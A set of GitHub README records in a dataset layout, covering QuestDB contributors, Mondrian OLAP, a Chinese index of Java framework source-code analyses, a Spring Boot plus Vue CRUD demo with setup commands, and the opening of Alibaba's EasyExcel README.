<td align="center" valign="top" width="14.28%"><a href="https://www.zsmart.tech/"><img src="https://avatars.githubusercontent.com/u/40519768?v=4" width="100px;" alt=""/><br /><sub><b>huuhait</b></sub></a><br /><a href="https://github.com/questdb/questdb/issues?q=author%3Ahuuhait" title="Bug reports">🐛</a> <a href="#ideas-huuhait" title="Ideas, Planning, & Feedback">🤔</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://clickhouse.com/"><img src="https://avatars.githubusercontent.com/u/18581488?v=4" width="100px;" alt=""/><br /><sub><b>alexey-milovidov</b></sub></a><br /><a href="https://github.com/questdb/questdb/issues?q=author%3Aalexey-milovidov" title="Bug reports">🐛</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://blog.suconghou.cn"><img src="https://avatars.githubusercontent.com/u/4580719?v=4" width="100px;" alt=""/><br /><sub><b>suconghou</b></sub></a><br /><a href="https://github.com/questdb/questdb/issues?q=author%3Asuconghou" title="Bug reports">🐛</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/allegraharris"><img src="https://avatars.githubusercontent.com/u/89586969?v=4" width="100px;" alt=""/><br /><sub><b>allegraharris</b></sub></a><br /><a href="https://github.com/questdb/questdb/commits?author=allegraharris" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/oliver-daniel"><img src="https://avatars.githubusercontent.com/u/17235417?v=4" width="100px;" alt=""/><br /><sub><b>oliver-daniel</b></sub></a><br /><a href="https://github.com/questdb/questdb/commits?author=oliver-daniel" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/kerimsenturk5734"><img src="https://avatars.githubusercontent.com/u/72925170?v=4" width="100px;" alt=""/><br /><sub><b>kerimsenturk5734</b></sub></a><br /><a href="https://github.com/questdb/questdb/commits?author=kerimsenturk5734" title="Documentation">📖</a></td>
</tr>
</tbody>
</table>
<!-- markdownlint-restore -->
<!-- prettier-ignore-end -->
<!-- ALL-CONTRIBUTORS-LIST:END -->
This project adheres to the
[all-contributors](https://github.com/all-contributors/all-contributors)
specification. Contributions of any kind are welcome!
| 0 |
pentaho/mondrian | Mondrian is an Online Analytical Processing (OLAP) server that enables business users to analyze large quantities of data in real-time. | database java mdx mondrian olap | # Welcome to Mondrian
Mondrian is an Online Analytical Processing (OLAP) server that enables business users to analyze large quantities of data in real-time.
## Sub modules
* **mondrian** - the core mondrian java library
* **workbench** - A desktop GUI for generating Mondrian schemas
| 0 |
doocs/source-code-hunter | 😱 从源码层面，剖析挖掘互联网行业主流技术的底层实现原理，为广大开发者 “提升技术深度” 提供便利。目前开放 Spring 全家桶，Mybatis、Netty、Dubbo 框架，及 Redis、Tomcat 中间件等 | dubbo mybatis netty redis sourcecode-analysis spring | # 互联网公司常用框架源码赏析
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“技术深度” 与 “技术广度”是对开发者来说最为重要的两个维度，本项目致力于从源码层面，剖析和挖掘互联网行业主流技术的底层实现原理，**为广大开发者 “提升技术深度” 提供便利**。
加入我们，一起通读互联网行业主流框架及中间件源码，成为强大的 “源码猎人”，目前开放的有 **Spring 全家桶**、**Mybatis**、**Netty**、**Dubbo 框架**，及 **Redis**、**Tomcat** 中间件等，让我们一起开拓新的领地，揭开这些源码的神秘面纱。
本项目主要用于记录框架及中间件源码的阅读经验、个人理解及解析，希望能够使阅读源码变成一件简单有趣，且有价值的事情，抽空更新中... (如果本项目对您有帮助，请 watch、star、fork 素质三连一波，鼓励一下作者，谢谢）
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## Spring 系列
### IoC 容器
- [BeanDefinition 的资源定位过程](/docs/Spring/IoC/1、BeanDefinition的资源定位过程.md)
- [将 bean 解析封装成 BeanDefinition](/docs/Spring/IoC/2、将bean解析封装成BeanDefinition.md)
- [将 BeanDefinition 注册进 IoC 容器](/docs/Spring/IoC/3、将BeanDefinition注册进IoC容器.md)
- [依赖注入(DI)](</docs/Spring/IoC/4、依赖注入(DI).md>)
- [BeanFactoryPostProcessor](/docs/Spring/IoC/BeanFactoryPostProcessor.md)
- [BeanPostProcessor](/docs/Spring/IoC/BeanPostProcessor.md)
- [Spring BeanFactory 源码解析](/docs/Spring/clazz/Spring-beanFactory.md)
- [循环依赖](/docs/Spring/IoC/循环依赖.md)
### AOP
- [AOP 源码实现及分析](/docs/Spring/AOP/AOP源码实现及分析.md)
- [JDK 动态代理的实现原理解析](/docs/Spring/AOP/JDK动态代理的实现原理解析.md)
- [Spring AOP 如何生效(Spring AOP 标签解析)](/docs/Spring/AOP/Spring-Aop如何生效.md)
### SpringMVC
- [IoC 容器 在 Web 环境 中的启动](/docs/Spring/SpringMVC/IoC容器在Web环境中的启动.md)
- [SpringMVC 的设计与实现](/docs/Spring/SpringMVC/SpringMVC的设计与实现.md)
- [SpringMVC 跨域解析](/docs/Spring/SpringMVC/SpringMVC-CROS.md)
- [Spring-MVC-HandlerMapping](/docs/Spring/mvc/Spring-MVC-HandlerMapping.md)
- [Spring-mvc-MappingRegistry](/docs/Spring/mvc/Spring-mvc-MappingRegistry.md)
### SpringJDBC
- 努力编写中...
### Spring 事务
- [Spring 与事务处理](/docs/Spring/SpringTransaction/Spring与事务处理.md)
- [Spring 声明式事务处理](/docs/Spring/SpringTransaction/Spring声明式事务处理.md)
- [Spring 事务处理的设计与实现](/docs/Spring/SpringTransaction/Spring事务处理的设计与实现.md)
- [Spring 事务管理器的设计与实现](/docs/Spring/SpringTransaction/Spring事务管理器的设计与实现.md)
- [Spring 事务解析](/docs/Spring/TX/Spring-transaction.md)
### Spring 源码故事（瞎编版）
- [面筋哥 IoC 容器的一天(上)](</docs/Spring/Spring源码故事（瞎编版）/面筋哥IoC容器的一天(上).md>)
### Spring 整体脉络
- [16 张图解锁 Spring 的整体脉络](/docs/Spring/Spring整体脉络/16张图解锁Spring的整体脉络.md)
### Spring 类解析
- [Spring 自定义标签解析](/docs/Spring/clazz/Spring-Custom-label-resolution.md)
- [Spring Scan 包扫描](/docs/Spring/clazz/Spring-scan.md)
- [Spring 注解工具类](/docs/Spring/clazz/Spring-AnnotationUtils.md)
- [Spring 别名注册](/docs/Spring/clazz/Spring-SimpleAliasRegistry.md)
- [Spring 标签解析类](/docs/Spring/clazz/Spring-BeanDefinitionParserDelegate.md)
- [Spring ApplicationListener](/docs/Spring/clazz/Spring-ApplicationListener.md)
- [Spring messageSource](/docs/Spring/clazz/Spring-MessageSource.md)
- [Spring 自定义属性解析器](/docs/Spring/clazz/Spring-Custom-attribute-resolver.md)
- [Spring 排序工具](/docs/Spring/clazz/Spring-OrderUtils.md)
- [Spring-import 注解](/docs/Spring/clazz/Spring-Import.md)
- [Spring-定时任务](/docs/Spring/clazz/Spring-Scheduling.md)
- [Spring StopWatch](/docs/Spring/clazz/Spring-StopWatch.md)
- [Spring 元数据](/docs/Spring/clazz/Spring-Metadata.md)
- [Spring 条件接口](/docs/Spring/clazz/Spring-Conditional.md)
- [Spring MultiValueMap](/docs/Spring/clazz/Spring-MultiValueMap.md)
- [Spring MethodOverride](/docs/Spring/clazz/Spring-MethodOverride.md)
- [Spring BeanDefinitionReaderUtils](/docs/Spring/clazz/Spring-BeanDefinitionReaderUtils.md)
- [Spring PropertyPlaceholderHelper](/docs/Spring/clazz/Spring-PropertyPlaceholderHelper.md)
- [Spring PropertySource](/docs/Spring/clazz/PropertySource)
- [Spring PlaceholderResolver](/docs/Spring/clazz/PlaceholderResolver)
- [Spring-AnnotationFormatterFactory](/docs/Spring/clazz/format/Spring-AnnotationFormatterFactory.md)
- [Spring-Formatter](/docs/Spring/clazz/format/Spring-Formatter.md)
- [Spring-Parser](/docs/Spring/clazz/format/Spring-Parser.md)
- [Spring-Printer](/docs/Spring/clazz/format/Spring-Printer.md)
### Spring5 新特性
- [Spring5-spring.components 解析](/docs/Spring/Spring5新特性/Spring-spring-components.md)
### Spring RMI
- [Spring RMI](/docs/Spring/RMI/Spring-RMI.md)
### Spring Message
- [Spring EnableJMS](/docs/Spring/message/Spring-EnableJms.md)
- [Spring JmsTemplate](/docs/Spring/message/Spring-JmsTemplate.md)
- [Spring MessageConverter](/docs/Spring/message/Spring-MessageConverter.md)
### SpringBoot
- [SpringBoot run 方法解析](/docs/SpringBoot/Spring-Boot-Run.md)
- [SpringBoot 配置加载解析](/docs/SpringBoot/SpringBoot-application-load.md)
- [SpringBoot 自动装配](/docs/SpringBoot/SpringBoot-自动装配.md)
- [SpringBoot ConfigurationProperties](/docs/SpringBoot/SpringBoot-ConfigurationProperties.md)
- [SpringBoot 日志系统](/docs/SpringBoot/SpringBoot-LogSystem.md)
- [SpringBoot ConditionalOnBean](/docs/SpringBoot/SpringBoot-ConditionalOnBean.md)
### SpringBootBatch
- [SpringBootBatch 源码](/docs/SpringBootBatch/SpringBootBatch源码.md)
### Spring Cloud
- [Spring Cloud Commons 源码](docs/SpringCloud/spring-cloud-commons-source-note.md)
- [Spring Cloud OpenFeign 源码](docs/SpringCloud/spring-cloud-openfeign-source-note.md)
- [Spring Cloud Gateway 源码](docs/SpringCloud/spring-cloud-gateway-source-note.md)
### SpringSecurity
- [SpringSecurity 请求全过程解析](/docs/SpringSecurity/SpringSecurity请求全过程解析.md)
- [SpringSecurity 自定义用户认证](/docs/SpringSecurity/SpringSecurity自定义用户认证.md)
- [SpringSecurity 流程补充](/docs/SpringSecurity/SpringSecurity流程补充.md)
## MyBatis
### 基础支持层
- [反射工具箱和 TypeHandler 系列](docs/Mybatis/基础支持层/1、反射工具箱和TypeHandler系列.md)
- [DataSource 及 Transaction 模块](docs/Mybatis/基础支持层/2、DataSource及Transaction模块.md)
- [binding 模块](docs/Mybatis/基础支持层/3、binding模块.md)
- [缓存模块](docs/Mybatis/基础支持层/4、缓存模块.md)
### 核心处理层
- [MyBatis 初始化](docs/Mybatis/核心处理层/1、MyBatis初始化.md)
- [SqlNode 和 SqlSource](docs/Mybatis/核心处理层/2、SqlNode和SqlSource.md)
- [ResultSetHandler](docs/Mybatis/核心处理层/3、ResultSetHandler.md)
- [StatementHandler](docs/Mybatis/核心处理层/4、StatementHandler.md)
- [Executor 组件](docs/Mybatis/核心处理层/5、Executor组件.md)
- [SqlSession 组件](docs/Mybatis/核心处理层/6、SqlSession组件.md)
### 类解析
- [Mybatis-Cache](/docs/Mybatis/基础支持层/Mybatis-Cache.md)
- [Mybatis-log](/docs/Mybatis/基础支持层/Mybatis-log.md)
- [Mybatis-Reflector](/docs/Mybatis/基础支持层/Mybatis-Reflector.md)
- [Mybatis-Alias](/docs/Mybatis/核心处理层/Mybatis-Alias.md)
- [Mybatis-Cursor](/docs/Mybatis/核心处理层/Mybatis-Cursor.md)
- [Mybatis-DataSource](/docs/Mybatis/核心处理层/Mybatis-DataSource.md)
- [Mybatis-DyanmicSqlSourcce](/docs/Mybatis/核心处理层/Mybatis-DyanmicSqlSourcce.md)
- [Mybatis-MapperMethod](/docs/Mybatis/核心处理层/Mybatis-MapperMethod.md)
- [Mybatis-MetaObject](/docs/Mybatis/核心处理层/Mybatis-MetaObject.md)
- [Mybatis-MethodSignature](/docs/Mybatis/核心处理层/Mybatis-MethodSignature.md)
- [Mybatis-ObjectWrapper](/docs/Mybatis/核心处理层/Mybatis-ObjectWrapper.md)
- [Mybatis-ParamNameResolver](/docs/Mybatis/核心处理层/Mybatis-ParamNameResolver.md)
- [Mybatis-SqlCommand](/docs/Mybatis/核心处理层/Mybatis-SqlCommand.md)
- [Mybats-GenericTokenParser](/docs/Mybatis/核心处理层/Mybats-GenericTokenParser.md)
## Netty
### 网络 IO 技术基础
- [把被说烂的 BIO、NIO、AIO 再从头到尾扯一遍](docs/Netty/IOTechnologyBase/把被说烂的BIO、NIO、AIO再从头到尾扯一遍.md)
- [IO 模型](docs/Netty/IOTechnologyBase/IO模型.md)
- [四种 IO 编程及对比](docs/Netty/IOTechnologyBase/四种IO编程及对比.md)
### JDK1.8 NIO 包 核心组件源码剖析
- [Selector、SelectionKey 及 Channel 组件](docs/Netty/IOTechnologyBase/Selector、SelectionKey及Channel组件.md)
### Netty 粘拆包及解决方案
- [TCP 粘拆包问题及 Netty 中的解决方案](docs/Netty/TCP粘拆包/TCP粘拆包问题及Netty中的解决方案.md)
### Netty 多协议开发
- [基于 HTTP 协议的 Netty 开发](docs/Netty/Netty多协议开发/基于HTTP协议的Netty开发.md)
- [基于 WebSocket 协议的 Netty 开发](docs/Netty/Netty多协议开发/基于WebSocket协议的Netty开发.md)
- [基于自定义协议的 Netty 开发](docs/Netty/Netty多协议开发/基于自定义协议的Netty开发.md)
### 基于 Netty 开发服务端及客户端
- [基于 Netty 的服务端开发](docs/Netty/基于Netty开发服务端及客户端/基于Netty的服务端开发.md)
- [基于 Netty 的客户端开发](docs/Netty/基于Netty开发服务端及客户端/基于Netty的客户端开发.md)
### Netty 主要组件的源码分析
- [ByteBuf 组件](docs/Netty/Netty主要组件源码分析/ByteBuf组件.md)
- [Channel 组件 和 Unsafe 组件](docs/Netty/Netty主要组件源码分析/Channel和Unsafe组件.md)
- [EventLoop 组件](docs/Netty/Netty主要组件源码分析/EventLoop组件.md)
- [ChannelPipeline 和 ChannelHandler 组件](docs/Netty/Netty主要组件源码分析/ChannelPipeline和ChannelHandler组件.md)
- [Future 和 Promise 组件](docs/Netty/Netty主要组件源码分析/Future和Promise组件.md)
### Netty 高级特性
- [Netty 架构设计](docs/Netty/AdvancedFeaturesOfNetty/Netty架构设计.md)
- [Netty 高性能之道](docs/Netty/AdvancedFeaturesOfNetty/Netty高性能之道.md)
### Netty 技术细节源码分析
- [FastThreadLocal 源码分析](docs/Netty/Netty技术细节源码分析/FastThreadLocal源码分析.md)
- [Recycler 对象池原理分析](docs/Netty/Netty技术细节源码分析/Recycler对象池原理分析.md)
- [MpscLinkedQueue 队列原理分析](docs/Netty/Netty技术细节源码分析/MpscLinkedQueue队列原理分析.md)
- [HashedWheelTimer 时间轮原理分析](docs/Netty/Netty技术细节源码分析/HashedWheelTimer时间轮原理分析.md)
- [HashedWheelTimer & schedule](docs/Netty/Netty技术细节源码分析/HashedWheelTimer&schedule.md)
- [ByteBuf 的内存泄漏原因与检测原理](docs/Netty/Netty技术细节源码分析/ByteBuf的内存泄漏原因与检测原理.md)
- [内存池之 PoolChunk 设计与实现](docs/Netty/Netty技术细节源码分析/内存池之PoolChunk设计与实现.md)
- [内存池之从内存池申请内存](docs/Netty/Netty技术细节源码分析/内存池之从内存池申请内存.md)
## Dubbo
### 架构设计
- [Dubbo 整体架构](docs/Dubbo/architectureDesign/Dubbo整体架构.md)
### SPI 机制
- [Dubbo 与 Java 的 SPI 机制](docs/Dubbo/SPI/Dubbo与Java的SPI机制.md)
### 注册中心
- [Dubbo 注册中心模块简析](docs/Dubbo/registry/Dubbo注册中心模块简析.md)
- [注册中心的 Zookeeper 实现](docs/Dubbo/registry/注册中心的Zookeeper实现.md)
### 远程通信
- [Dubbo 远程通信模块简析](docs/Dubbo/remote/Dubbo远程通信模块简析.md)
- [Transport 组件](docs/Dubbo/remote/Transport组件.md)
- [Exchange 组件](docs/Dubbo/remote/Exchange组件.md)
- [Buffer 组件](docs/Dubbo/remote/Buffer组件.md)
- [基于 Netty 实现远程通信](docs/Dubbo/remote/基于Netty实现远程通信.md)
- [基于 HTTP 实现远程通信](docs/Dubbo/remote/基于HTTP实现远程通信.md)
### RPC
- [RPC 模块简析](docs/Dubbo/RPC/RPC模块简析.md)
- [Protocol 组件](docs/Dubbo/RPC/Protocol组件.md)
- [Proxy 组件](docs/Dubbo/RPC/Proxy组件.md)
- [Dubbo 协议](docs/Dubbo/RPC/Dubbo协议.md)
- [Hessian 协议](docs/Dubbo/RPC/Hessian协议.md)
### 集群
- [Dubbo 集群模块简析](docs/Dubbo/cluster/Dubbo集群模块简析.md)
- [负载均衡](docs/Dubbo/cluster/负载均衡.md)
- [集群容错](docs/Dubbo/cluster/集群容错.md)
- [mock 与服务降级](docs/Dubbo/cluster/mock与服务降级.md)
## Tomcat
### Servlet 与 Servlet 容器
- [servlet-api 源码赏析](docs/Tomcat/servlet-api源码赏析.md)
- [一个简单的 Servlet 容器](docs/Tomcat/一个简单的servlet容器代码设计.md)
- [Servlet 容器详解](docs/Tomcat/servlet容器详解.md)
### Web 容器
- [一个简单的 Web 服务器](docs/Tomcat/一个简单的Web服务器代码设计.md)
## Redis
- [深挖 Redis 6.0 源码——SDS](docs/Redis/redis-sds.md)
## Nacos
- [nacos 服务注册](docs/nacos/nacos-discovery.md)
## Sentinel
- [sentinel 时间窗口实现](docs/Sentinel/Sentinel时间窗口的实现.md)
- [Sentinel 底层 LongAdder 的计数实现](docs/Sentinel/Sentinel底层LongAdder的计数实现.md)
- [Sentinel 限流算法的实现](docs/Sentinel/Sentinel限流算法的实现.md)
## RocketMQ
- [RocketMQ NameServer 与 Broker 的通信](docs/rocketmq/rocketmq-nameserver-broker.md)
- [RocketMQ 生产者启动流程](docs/rocketmq/rocketmq-producer-start.md)
- [RocketMQ 消息发送流程](docs/rocketmq/rocketmq-send-message.md)
- [RocketMQ 消息发送存储流程](docs/rocketmq/rocketmq-send-store.md)
- [RocketMQ MappedFile 内存映射文件详解](docs/rocketmq/rocketmq-mappedfile-detail.md)
- [RocketMQ ConsumeQueue 详解](docs/rocketmq/rocketmq-consumequeue.md)
- [RocketMQ CommitLog 详解](docs/rocketmq/rocketmq-commitlog.md)
- [RocketMQ IndexFile 详解](docs/rocketmq/rocketmq-indexfile.md)
- [RocketMQ 消费者启动流程](docs/rocketmq/rocketmq-consumer-start.md)
- [RocketMQ 消息拉取流程](docs/rocketmq/rocketmq-pullmessage.md)
- [RocketMQ Broker 处理拉取消息请求流程](docs/rocketmq/rocketmq-pullmessage-processor.md)
- [RocketMQ 消息消费流程](docs/rocketmq/rocketmq-consume-message-process.md)
## 番外篇（JDK 1.8）
### 基础类库
- [String 类 源码赏析](docs/JDK/basic/String.md)
- [Thread 类 源码赏析](docs/JDK/basic/Thread.md)
- [ThreadLocal 类 源码赏析](docs/JDK/basic/ThreadLocal.md)
### 集合
- [HashMap 类 源码赏析](docs/JDK/collection/HashMap.md)
- [ConcurrentHashMap 类 源码赏析](docs/JDK/collection/ConcurrentHashMap.md)
- [LinkedHashMap 类 源码赏析](docs/JDK/collection/LinkedHashMap.md)
- [ArrayList 类 源码赏析](docs/JDK/collection/ArrayList.md)
- [LinkedList 类 源码赏析](docs/JDK/collection/LinkedList.md)
- [HashSet 类 源码赏析](docs/JDK/collection/HashSet.md)
- [TreeSet 类 源码赏析](docs/JDK/collection/TreeSet.md)
### 并发编程
- [JUC 并发包 UML 全量类图](docs/JDK/concurrentCoding/JUC并发包UML全量类图.md)
- [Executor 线程池组件 源码赏析](docs/JDK/concurrentCoding/Executor线程池组件.md)
- [Lock 锁组件 源码赏析](docs/JDK/concurrentCoding/Lock锁组件.md)
- [详解 AbstractQueuedSynchronizer 抽象类](docs/JDK/concurrentCoding/详解AbstractQueuedSynchronizer.md)
- [Semaphore 类 源码赏析](docs/JDK/concurrentCoding/Semaphore.md)
## 学习心得
### 个人经验
- [初级开发者应该从 Spring 源码中学什么](docs/LearningExperience/PersonalExperience/初级开发者应该从spring源码中学什么.md)
### 编码规范
- [一个程序员的自我修养](docs/LearningExperience/EncodingSpecification/一个程序员的自我修养.md)
### 设计模式
- [从 Spring 及 Mybatis 框架源码中学习设计模式(创建型)](<docs/LearningExperience/DesignPattern/从Spring及Mybatis框架源码中学习设计模式(创建型).md>)
- [从 Spring 及 Mybatis 框架源码中学习设计模式(行为型)](<docs/LearningExperience/DesignPattern/从Spring及Mybatis框架源码中学习设计模式(行为型).md>)
- [从 Spring 及 Mybatis 框架源码中学习设计模式(结构型)](<docs/LearningExperience/DesignPattern/从Spring及Mybatis框架源码中学习设计模式(结构型).md>)
### 多线程
- [Java 并发编程在各主流框架中的应用](docs/LearningExperience/ConcurrentProgramming/Java并发编程在各主流框架中的应用.md)
---
## Stars 趋势
[](https://star-history.com/#doocs/source-code-hunter&Date)
## Doocs 社区优质项目
GitHub 技术社区 [Doocs](https://github.com/doocs)，致力于打造一个内容完整、持续成长的互联网开发者学习生态圈！以下是 Doocs 的一些优秀项目，欢迎各位开发者朋友持续保持关注。
| # | 项目 | 描述 | 热度 |
| --- | ----------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
| 1 | [advanced-java](https://github.com/doocs/advanced-java) | 互联网 Java 工程师进阶知识完全扫盲：涵盖高并发、分布式、高可用、微服务、海量数据处理等领域知识。 |  <br> |
| 2 | [leetcode](https://github.com/doocs/leetcode) | 多种编程语言实现 LeetCode、《剑指 Offer（第 2 版）》、《程序员面试金典（第 6 版）》题解。 |  <br> |
| 3 | [source-code-hunter](https://github.com/doocs/source-code-hunter) | 互联网常用组件框架源码分析。 |  <br> |
| 4 | [jvm](https://github.com/doocs/jvm) | Java 虚拟机底层原理知识总结。 |  <br> |
| 5 | [coding-interview](https://github.com/doocs/coding-interview) | 代码面试题集，包括《剑指 Offer》、《编程之美》等。 |  <br> |
| 6 | [md](https://github.com/doocs/md) | 一款高度简洁的微信 Markdown 编辑器。 |  <br> |
| 7 | [technical-books](https://github.com/doocs/technical-books) | 值得一看的技术书籍列表。 |  <br> |
## 贡献者
感谢以下所有朋友对 [GitHub 技术社区 Doocs](https://github.com/doocs) 所做出的贡献，[参与项目维护请戳这儿](https://doocs.github.io/#/?id=how-to-join)。
<!-- ALL-CONTRIBUTORS-LIST: START - Do not remove or modify this section -->
<a href="https://opencollective.com/doocs/contributors.svg?width=890&button=true"><img src="https://opencollective.com/doocs/contributors.svg?width=890&button=false" /></a>
<!-- ALL-CONTRIBUTORS-LIST: END -->
## 公众号
[Doocs](https://github.com/doocs) 技术社区旗下唯一公众号「**Doocs**」，欢迎扫码关注，**专注分享技术领域相关知识及行业最新资讯**。当然，也可以加我个人微信（备注：GitHub），拉你进技术交流群。
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<img src="https://cdn-doocs.oss-cn-shenzhen.aliyuncs.com/gh/doocs/images/qrcode-for-doocs.png" style="width: 400px;"><br>
</td>
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<img src="https://cdn-doocs.oss-cn-shenzhen.aliyuncs.com/gh/doocs/images/qrcode-for-yanglbme.png" style="width: 400px;"><br>
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关注「**Doocs**」公众号，回复 **PDF**，即可获取 [互联网 Java 工程师进阶知识完全扫盲](https://github.com/doocs/advanced-java) 项目离线 PDF 文档（283 页精华），学习更加方便！
| 0 |
boylegu/SpringBoot-vue | A example demo base SpringBooot with vueJS2.x + webpack2.x as Java full stack web practice | null | []()
[]()
[]()
[]()
[]()
<p align="center">
<a href ="##"><img alt="spring_vue" src="https://github.com/boylegu/SpringBoot-vue/blob/master/images/newlogo.jpg?raw=true"></a></p>
<h4 align="center" style="color: #3399FF">
Convenient & efficient and better performance for Java microservice full stack.
</h4>
<p align="center" style="color: #FF66FF">Commemorate the 6 anniversary of enter the profession.</p>
<p align="center" style="color: #FF9933">Give beginner as a present.</p>
<p align="right" style="color: #3399FF">———————By Boyle Gu</p>
### [Chinese README[中文]](https://github.com/boylegu/SpringBoot-vue/blob/master/README-CN.md)
## Overview
Now about Web develop fields. It's very bloated, outmoded and some development efficiency have a lower with each other than other dynamic language when people refers to Java. Even before somebody shouts loudly ‘Java was died’. But is this really the case? In fact, If you often attention to Java in long time, your feel is too deep. Though it's many disadvantages and verbose. It couldn't be denied that Java is still best language in industry member, and advance with the times. This project is a CRUD demo example base Spring Boot with Vue2 + webpack2. I hope pass thought this project for express Java microservice fast full stack base web practice.
## Why Spring Boot
Spring is a very popular Java-based framework for building web and enterprise applications. Unlike many other frameworks, which focus on only one area, Spring framework provides a wide verity of features addressing the modern business needs via its portfolio project. The main goal of the Spring Boot framework is to reduce overall development time and increase efficiency by having a default setup for unit and integration tests.
In relation to Spring,
Spring Boot aims to make it easy to create Spring-powered, production-grade applications and services with minimum fuss. It takes an opinionated view of the Spring platform so that new and existing users can quickly get to the bits they need.
The diagram below shows Spring Boot as a point of focus on the larger Spring ecosystem:
<p align="center">
<a href ="##"><img alt="spring_vue" src="https://github.com/boylegu/SpringBoot-vue/blob/master/images/springboot.png?raw=true"></a></p>
The primary goals of Spring Boot are:
- To provide a radically faster and widely accessible ‘getting started’ experience for all Spring development.
- To be opinionated out of the box, but get out of the way quickly as requirements start to diverge from the defaults.
- To provide a range of non-functional features that are common to large classes of projects (e.g. embedded servers, security, metrics, health checks, externalized configuration).
**Spring Boot does not generate code and there is absolutely no requirement for XML configuration.**
Below are this project code snippet. Do you think simple?
~~~~java
@RestController
@RequestMapping("/api/persons")
public class MainController {
@RequestMapping(
value = "/detail/{id}",
method = RequestMethod.GET,
produces = MediaType.APPLICATION_JSON_VALUE
)
public ResponseEntity<Persons> getUserDetail(@PathVariable Long id) {
/*
* @api {GET} /api/persons/detail/:id details info
* @apiName GetPersonDetails
* @apiGroup Info Manage
* @apiVersion 1.0.0
*
* @apiExample {httpie} Example usage:
*
* http GET http://127.0.0.1:8000/api/persons/detail/1
*
* @apiSuccess {String} email
* @apiSuccess {String} id
* @apiSuccess {String} phone
* @apiSuccess {String} sex
* @apiSuccess {String} username
* @apiSuccess {String} zone
*/
Persons user = personsRepository.findById(id);
return new ResponseEntity<>(user, HttpStatus.OK);
}
}
~~~~
## Why MVVM
Although it seems similar to MVC (except with a "view model" object in place of the controller), there's one major difference — the view owns the view model. Unlike a controller, a view model has no knowledge of the specific view that's using it.
This seemingly minor change offers huge benefits:
1. View models are testable. Since they don't need a view to do their work, presentation behavior can be tested without any UI automation or stubbing.
2. View models can be used like models. If desired, view models can be copied or serialized just like a domain model. This can be used to quickly implement UI restoration and similar behaviors.
3. View models are (mostly) platform-agnostic. Since the actual UI code lives in the view, well-designed view models can be used on the iPhone, iPad, and Mac, with only minor tweaking for each platform.
4. Views and view controllers are simpler. Once the important logic is moved elsewhere, views and VCs become dumb UI objects. This makes them easier to understand and redesign.
In short, replacing MVC with MVVM can lead to more versatile and rigorous UI code.
> *In short, replacing MVC with MVVM can lead to more versatile and rigorous UI code.*
## Why to choose Vue.js
Vue.js is relatively new and is gaining lot of traction among the community of developers. VueJs works with MVVM design paradigm and has a very simple API. Vue is inspired by AngularJS, ReactiveJs and updates model and view via two way data binding.
Components are one of the most powerful features of Vue. They help you extend basic HTML elements to encapsulate reusable code. At a high level, components are custom elements that Vue’s compiler attaches behavior to.
<p align="center">
<a href ="##"><img style="box-shadow: 8px 8px 5px #888888;"alt="spring_vue" src="http://i2.muimg.com/536217/5ae4b10becac44b0.png"></a>
## What's Webpack
Webpack is a powerful tool that bundles your app source code efficiently and loads that code from a server into a browser. It‘s excellent solution in frontend automation project.
## Demo
This's a sample ShangHai people information system as example demo.
[]()
### Feature (v0.1)
- Spring Boot (Back-end)
- Build RestFul-API on SpringBoot with `@RequestMapping` and base CRUD logic implementation
- Handle CORS(Cross-origin resource sharing)
- Unit test on SpringBoot
- Support hot reload
- Add interface documents about it's rest-api
- Pagination implementation of RestFul-API with JPA and SpringBoot
- VueJS & webpack (front-end)
- Follow ECMAScript 6
- What about coding by single file components in vueJS
- Simple none parent-child communication and parent-child communication
- Interworking is between data and back-end
- How grace import third JS package in vue
- Handle format datetime
- Pagination implementation
- Reusable components
- DbHeader.vue
- DbFooter.vue (sticky footer)
- DbFilterinput.vue
- DbModal.vue
- DbSidebar.vue
- DbTable.vue
- Config front-end env on webpack2 (include in vue2, handle static file, build different environment...... with webpack2)
### Main technology stack
- Java 1.8+
- Spring Boot 1.5.x
- Maven
- sqlite (not recommend, only convenience example)
- vueJS 2.x
- webpack 2.x
- element ui
- axios
### Preparation
- Please must install Java 1.8 or even higher version
- install Node.js / NPM
- Clone Repository
git clone https://github.com/boylegu/SpringBoot-vue.git
cd springboot_vue
### Installation
- Build front-end environment
cd springboot_vue/frontend
npm install
### Usage
- Run back-end server
cd springboot_vue/target/
java -jar springboot_vue-0.0.1-SNAPSHOT.jar
[]()
- Run Front-end Web Page
cd springboot_vue/frontend
npm run dev
> You can also run `cd springboot_vue/frontend;npm run build` and it's with Nginx in the production environment
## Future Plan
This project can be reference,study or teaching demonstration. After, I will update at every increment version in succession. In future,I have already some plan to below:
1. User Authentication
2. state manage with vuex
3. use vue-route
4. add docker deploy method
5. support yarn
... ...
## Support
1. Github Issue
2. To e-mail: gubaoer@hotmail.com
3. You can also join to QQ Group: 315308272
## Related projects
- [Sanic-Vue for Python](https://github.com/boylegu/SanicCRUD-vue)
## My Final Thoughts
```
. ____ _
/\\ / ___'_ __ _ _(_)_ __ __ _
( ( )\___ | '_ | '_| | '_ \/ _` |
\\/ ___)| |_)| | | | | || (_| |
' |____| .__|_| |_|_| |_\__, |
\ ===========|_|==============|___/== ▀
\- ▌ SpringBoot-vue ▀
- ▌ (o) ▀
/- ▌ Go Go Go ! ▀
/ =================================== ▀
██
```
| 1 |
alibaba/easyexcel | 快速、简洁、解决大文件内存溢出的java处理Excel工具 | excel java jxl oom poi xls xlsx | EasyExcel
======================
[](https://github.com/alibaba/easyexcel/actions/workflows/ci.yml?query=branch%3Amaster)
[](https://maven-badges.herokuapp.com/maven-central/com.alibaba/easyexcel)
[](http://www.apache.org/licenses/LICENSE-2.0.html)
[](https://opensource.alibaba.com/contribution_leaderboard/details?projectValue=easyexcel)
# JAVA解析Excel工具
Java解析、生成Excel比较有名的框架有Apache poi、jxl。但他们都存在一个严重的问题就是非常的耗内存，poi有一套SAX模式的API可以一定程度的解决一些内存溢出的问题，但POI还是有一些缺陷，比如07版Excel解压缩以及解压后存储都是在内存中完成的，内存消耗依然很大。
easyexcel重写了poi对07版Excel的解析，一个3M的excel用POI sax解析依然需要100M左右内存，改用easyexcel可以降低到几M，并且再大的excel也不会出现内存溢出；03版依赖POI的sax模式，在上层做了模型转换的封装，让使用者更加简单方便
# 🔥作者强烈推荐的数据库管理工具：Chat2DB
